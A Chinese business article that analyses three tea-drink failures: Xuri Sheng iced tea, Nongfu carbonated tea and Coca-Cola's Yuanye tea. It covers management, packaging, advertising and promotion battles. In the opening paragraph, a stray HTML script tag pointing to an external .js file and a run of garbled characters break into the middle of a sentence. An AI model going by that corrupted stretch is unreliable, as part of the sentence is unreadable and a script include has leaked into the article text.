茶饮料的三大失败

茶饮料的三大失败

　　旭日升是茶饮料的先驱，开创了中国茶饮料的千亿市场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?缤?×Ρ??戳嗽硕??鲜谐　２恍业氖牵?袢丈?诟咚俜⒄怪校?芾硎Э兀?a href=http://tea.368tea.com/?action-category-catid-47 id=kw target=_blank>营销失策，先驱变成了先烈。

　　深入分析旭日升的成败得失，对我们这些饮料业的后来者，是有深刻意义的。下文是以旭日升为代表的三个案例，基本贯穿了整个茶饮料的发展历程，而且各有不同，希望能给大家更多启发和反思。

　　旭日升冰茶：成于产品，败于管理

　　成立于1993年的旭日升集团坐落在河北冀州的一个普通农业县，前身是当地农村供销合作社。当时集团内部从上至下找一个中专毕业生都很难，大部分人员甚至连初中学历都没有。

　　1994年旭日升冰茶上市，1995年便实现销售收入5000万元，1996年猛增到5亿，1998年的鼎盛时期达到创记录的20亿，一度占据茶饮料市场份额的70%。这个成绩在当年仅次于健力宝，排在全国本土饮料企业第二名。

　　“21世纪首选饮料”

　　旭日升冰茶前期的成功，首先要归功于集团董事长段恒中的眼光与魄力。

　　段恒中出生在河北冀县一个家境贫寒的农民家庭。20岁那年，段恒中成为当地供销社的搬运工。1985，他通过自身努力被提拔成部门经理，同年考取北京经济学院的经济管理专业，大学毕业后仍然留在冀县供销社工作，并于1990年39岁时，被任命为党委书记兼主任，有了大展拳脚的机会。1993年3月，供销社经过改革后组建了旭日集团，段恒中任集团的董事长。

　　发展并不是一帆风顺的。段恒中刚接手时面临几大问题：一是机构复杂，下有几十个乡镇企业；二是人员队伍庞大，上千人的吃饭问题已经很要命了；三是亏损的企业越来越多。

　　一个偶然的机会，段恒中结识了国内的茶叶技术专家于杰，聊到了茶饮料未来的发展潜力。半个月后，于杰带来了100多个茶叶技术专家参加旭日集团的项目论证会。他们得出了一个有远见的共识：茶饮料将会成为21世纪的首选饮料。

　　接下来，一次史无前例的把中国5000年茶文化与现代科技相结合的秘密科技攻关活动开始了……课题组经过了一次次失败，不断改进工艺流程，试用了70多种辅料，再配合逆流提取和膜浓缩技术处理原茶，彻底解决了茶饮料充气后的沉淀问题。

　　大名鼎鼎的旭日升“冰茶”就此诞生！

　　“旭日升”冰茶一上市，便大获成功，当年旭日升为集团收入几百万元，供销社一下子扭亏为赢。

　　从1995年开始，源源不断的订单使现有设备捉襟见肘，生产能力不足成为制约旭日集团发展的瓶颈。在经过一番思考和考察后，段恒中发现，全国有很多饮料厂家的生产线严重开工不足甚至停工，旭日集团如果要快速地发展，没必要购买新的生产线，完全可以租赁厂房或委托加工旭日升。

　　几经选择之后，段恒中在全国选定了60多条生产线，开始低成本扩张，这种新的运营方式解决了资金、时间、运输等快速扩张中的一系列问题，一时在业内传为佳话，成为企业成功扩张的典型案例。

　　错失PET

　　旭日升冰茶从面市到2000年，销售一直处于上升势头，甚至供不应求，因而忽略了产品的升级换代和包装的改进。从当时市场反映来看，PET瓶装和纯茶饮料逐步受到欢迎，而旭日升的产品全部都是罐装冰茶，含有碳酸气，常温下饮用口味不好，逐渐被消费者冷落。

　　所谓PET瓶装，就是我们现在到处都可以看到的康师傅和统一的冰红茶、绿茶用的包装，俗称“塑料瓶”，现在人们甚至认为瓶装才是茶饮料的主流包装。

当时统一、康师傅甚至跟利乐合作，推出了利乐盒装的茶饮料，以一元的低价来抢占市场。之后，茶饮料的市场竞争渐成烽火之势。为夺取市场霸主的地位，康师傅绿茶、统一冰红茶借机打响全面进攻，可口可乐、娃哈哈等其他重量级的企业也步步紧逼。后来居上的其他茶饮料企业，在各种媒体上展开了铺天盖地的广告攻势，各种包装规格、各种口味也层出不穷。

　　旭日升错过了瓶装茶饮料的大好发展机会，自身的罐装茶饮料，由于运输、成本、方便性都不如瓶装，市场份额锐减。

　　今天回过头看，就算没有旭日升的自身失误，罐装茶饮料也会逐渐退出历史舞台，让出主角地位给瓶装。

　　旭日升的“麦收假”

　　旭日升冰茶的崛起很大程度上得益于一个创新的产品，用现在里斯、特劳特等营销大师的专业术语就是：开创了一个新的品类，以及发展初期竞争对手少。

　　随着市场的发展，企业由近千人膨胀到近万人规模，这个以当地农民为主体的大型集团很快暴露出了各种问题。这么大的企业集团，80%以上的员工主体来自于本县，来自于本县的农民！

　　管理层的平均学历在初中以下，集团到各省公司，省公司到地级办事处，以及生产，采购、财务、运输、广告等等凡是重要的岗位，全部是裙带关系！这导致了营销费用管控不力，很多费用不知不觉就流失掉了。

　　当时旭日升48个驻外营销公司，营销队伍达8000人之众，全部由总部派出。各公司租下整座大楼住宿办公，兴办食堂，开支巨大。这么多人仅每人每年两次探亲假的差旅费就是一笔可观的费用。而且集团派出的队伍大多是本县的农民，不论走到哪里，客户给他们的共同评价是：不太了解饮料市场一线的操作，缺乏职业素养。

　　旭日升还有一个其他饮料企业永远也不会有的特色假期——“麦收假”。即在天气最热、饮料的销售旺季，给农民业务员放假回家收麦子。

　　当然，旭日升还有其他的一些失败因素，但是笔者认为上述两个因素是最主要的，特别是管理上的混乱。到现在，笔者还是很惋惜，因为旭日升的董事长是经济管理的科班出身，而且是当年千军万马中杀过独木桥的那一批天之骄子，却没有发挥出这方面的专业优势，企业反而恰恰败给了自身的管理问题。

　　养生堂的农夫汽茶，从上市到退市的两年时间里，销售上毫无起色，所以业界基本是一边倒的负面评价。这一点跟旭日升和可口可乐的茶饮料不同。

　　1+1=0

　　农夫汽茶2005年上市，从字面上分析，农夫汽茶=“汽水”+“茶饮料”，是两种产品的跨品类整合。这样的产品在消费者心智中，很难一开始就被认可。

当年的健力宝出了一个爆果汽=果汁+汽水，娃哈哈的“营养快线”=果汁+牛奶，大家都朝着概念创新、跨品类组合的方向奔，但是结果不尽相同。

　　爆果汽已经慢慢淡出市场­——最近汇源又把这个概念捡过来用，出了一个果汽果乐，今年还大手笔赞助花儿朵朵选秀节目。

　　营养快线倒是非常成功，单品销售突破100亿。不过，营养快线严格意义上不能算创新，因为之前已经有酸酸乳、优酸乳、果汁牛奶等类似产品。当然，娃哈哈是第一个大力度推广瓶装的企业。如果时间再往前倒退十年，即使娃哈哈第一个创新推出果汁牛奶，销量也不会很好，因为那时的消费者还不接受这类产品。

　　回到农夫汽茶身上，这个产品在当时的国内消费者中，的确没有太大的市场。直到今天，汽茶这个市场，也并不大，反而是绿茶、茉莉花茶、铁观音茶、乌龙茶等正统细分的茶饮料不断发展壮大。

　　奶茶也发展得非常好，统一阿萨姆奶茶据说一年可以销售数十个亿。奶茶虽然也是跨品类的组合：奶茶=牛奶+茶饮料，但是这个产品概念却是有深厚文化底蕴的，并不属于创新。

　　据说农夫汽茶的产品创意来自农夫山泉的总裁钟睒睒，创意道理很简单，如下文所示：

　　卖得最好的饮料是什么？-----碳酸饮料；

　　增长最猛的饮料是什么？-----茶饮料；

　　两者既然都被消费者认可，那么未来发展的趋势将是？-----汽茶饮料！

　　这种创意逻辑体现出了钟睒睒的开创性发散思维，这种创意的原理也符合“头脑风暴”的基本原则。

　　但是，如果能够简单的把两个不同畅销品类的饮料组合在一起，就幻想这种创新概念的新产品能热卖，那也太可爱天真。凉茶和碳酸饮料是当今最火的两大饮料品类，真的有企业把这两者结合起来开发了新品：清酷——加汽的凉茶，请了明星容祖儿做代言人，广告铺天盖地，终端分销网点漫天遍地，可是，消费者就是不认。

　　拼凑的广告创意

　　当年，农夫汽茶的电视广告“打劫篇”在央视一播出，就引起了巨大的争议。

　　这个广告内容是三个戴面具的年轻人去一个卖饮料的小士多店打劫，士多店的老板娘是个类似周星驰《功夫》中包租婆元华年龄的阿婆级人物。这个阿婆面对打劫的后生仔，不慌不忙，从容的喝了一大口农夫汽茶，然后大吼一声（类似包租婆的狮子吼），把三个小毛贼吹出了N远，还把围墙撞了三个人形的大洞。

　　该广告脚本采用当时刚刚热播的“天下无贼”和“功夫”的片段——“天下无贼”中打劫的镜头和“功夫”中元华的狮子吼，夸张地诠释了产品，最后以“农夫汽茶，底气十足”为结束语，提炼了产品“含汽”的特点，让人很容易产生印象！

　　可以说，广告的创意因为夸张，比较独到，容易让人过目不忘。

　　但是，过目不忘的广告，就是一条好广告吗？——这是请大家思考的第一个问题。

　　请大家思考的第二个问题——“底气十足”这句话，笔者承认是一句对产品卖点的提炼，但是问题又产生了：产品卖点一定是消费者的买点吗？

　　过目不忘的广告，是好广告的前提，但并不构成必然条件。如果一个广告，只能让消费者记住广告情节，但是不能记住产品，这个广告就本末倒置了。我们经常可以在媒体上看见很多有创意、让人过目不忘的广告，但是很多时候，消费者记住了广告情节，而忘记了是什么产品，或者记住产品，忘记了是什么品牌。

　　在这一条上，农夫汽茶的“打劫”广告还是做到位了，至少让消费者记住产品和品牌了。

　　最大的问题出在产品卖点上，“底气十足”成了跟碳酸饮料拼特点了，这是激不起消费者的购买欲望的，同时也没有突出茶饮料方面的自身特点，或者没有很好的突出“汽”+“茶”两者结合的优点，比如：独特的口感？喝汽茶是一种新颖和时尚？

　　所以，底气十足，是一个产品的卖点，但肯定不是一个好的消费者买点。

　　我们再回过头来分析，当一个产品在概念上太超前时，会导致在广告创意表现上，很难提炼出一个强有力的消费者买点，刺激消费者在终端去购买这类创新产品。

　　所以太超前的产品，并不一定失败，只是失败的概率会大很多。

　　可口可乐原叶茶

　　“完美”的整合营销

　　可口可乐的原叶茶饮料是一个经典的用整合营销开展阵地战进攻的案例。这一战术使康师傅和统一的茶饮料销量在当年大受影响。

　　原叶茶饮料从当年北京奥运会之前的2月份开始，就在全国各地陆续铺货，4月正式在全国30个省市同时大规模亮相。3～5月已成为可口可乐“原叶”茶饮料的重点宣传时段，可见它是借奥运前就展开宣传攻势来强推其新品的。而且，原叶茶的商标注册在4～5年前就已开始。

可口可乐公司几乎整合了研发、市场、品牌、销售、财务等诸多相关部门的精力和智力，彻彻底底地打了一场漂亮的“海陆空”三军结合的阵地战。

在营销上，可口可乐公司投入大量人力物力，精心策划产品上市，迅速制造高识别、高辨听、高传诵的三高传播效应，让竞争对手根本来不及响应。

在代言人方面，可口可乐公司沿袭了茶饮料巨头——统一和康师傅新品上市必请形象代言人的成功经验，花巨资邀请国际巨星成龙及其儿子房祖名代言原叶茶，透过他们健康的形象来传递原叶“鲜爽茶滋味，原叶100%”的品牌形象。

在广告传播上，可口可乐在全国30多家卫星电视和地方电视上多次滚动播出，基本覆盖了大部分地区的黄金收视时间。通过这一高关注度的明星代言广告的频繁播出，原叶“鲜爽茶滋味，原叶100%”的口号迅速使路人皆知。

在推广方面，可口可乐启动了全国范围内3400万人群的免费派样试饮，覆盖30%左右的目标消费者。这个计划在饮料行业里可以说是史无前例的规模阵地战，足可见可口可乐对获取全面进军茶饮料市场并博取最后胜利的战略野心。

在公关方面，原叶上市后的第一个月，在南京所有的苏果超市内，消费者每购买一瓶原叶，可口可乐就捐赠0.2元给南京市园林局，用于南京的绿化建设……类似的公益活动在众多的城市举办，可口可乐在原叶上市中运用公关营销的这一举措，不但为原叶品牌赢得良好的知名度和美誉度，同时也为其在中国市场的成功奠定了坚实的外部环境基础。

　　原叶茶在上市的第一年，可以说是非常成功，从康师傅、统一、娃哈哈三大茶饮巨头手上抢下了9%的市场份额。

　　尴尬的产品

　　原叶茶初期上市的成功，还得益于低价渗透——在终端零售价上比康师傅、统一等茶饮料便宜了0.5元。

　　饮料阵地战+低价战略，这两大经典营销模式的联姻使原叶茶旗开得胜，但是也掩盖了两大隐患：一是渠道各个环节的利润率偏低，导致渠道主动推广的动力不足；二是为了追求低成本，包装质量和口感跟竞品比略处下风。

　　原叶茶的一个重要卖点就是号称是100%原汁原味的茶叶泡制而成的，想差异化于康师傅的茶粉调出的茶饮料。如果要控制成本，又要坚持原叶炮制，那么茶的浓度是上不去的，这样原叶的口感又拼不过康师傅，进退两难。

　　原叶茶第二年乘胜推出的新口味“茉莉茶”系列，并不具备差异化的优势，包装还是跟之前一样，口感也上不去。反而是康师傅这两年为了应对原叶茶进攻新推出的“乌龙茶”、“铁观音茶”，无论从包装造型、口感上都更成功。

　　遥想当初，原叶茶如果在新产品研发上，能先康师傅一步，推出铁观音、乌龙、普洱等更差异化的细分新品，包装瓶型更新颖，外观设计更贴近中国茶文化，自然能扩大战果，把对手再来一瓶的促销影响降到最低。

　　康师傅“再来一瓶”大反攻

　　原叶茶初期阵地战虽然成功，但同时也暴露了自身的意图和排兵布阵。

　　茶饮料第一名的康师傅已经悄悄在寻找反攻的机会，以迅雷不及掩耳之势掀起了历时3年（2009～2011年）、活动范围遍及全国的 “再来一瓶”消费者促销风暴。在力度最大的一年，康师傅送出了15亿瓶饮料，其中大半部分是茶饮料。

　　由于高中奖率，以及康师傅本身就有终端铺市率高的优势，消费者又继续去惯性购买康师傅茶系列，这样就极大遏制了原叶茶的上升势头。

　　可乐这类外资企业，营销预算和营销计划是提前半年制定，缺乏一定的灵活性，特别是遇到康师傅这种不按常理出牌的招数，没能有效应对，导致当年销量减少，而营销费用却花得比上一年更多。连续三年下来，茶饮这个品类就会成为可乐决策层眼里的鸡肋，缩小其投入，自然销量也无法增长，甚至不断下滑。到今年，市场上已经难寻原叶茶的踪迹了。

　　康师傅杀敌三千，但也自伤八百。

　　“再来一瓶”在2009年非常成功，但也留下了很多隐患，比如：没有及时给渠道和终端换瓶盖，很多终端拒绝兑奖，消费者兑奖不方便，生产供应不及时而断货，激怒了很多批发商、终端小店和消费者。这些隐患导致了2011年、2012年初康师傅茶饮料的销量反而下滑，也间接导致了今麦郎茶饮料、达利茶饮料利用康师傅断货机会的异军突起，渔翁得利。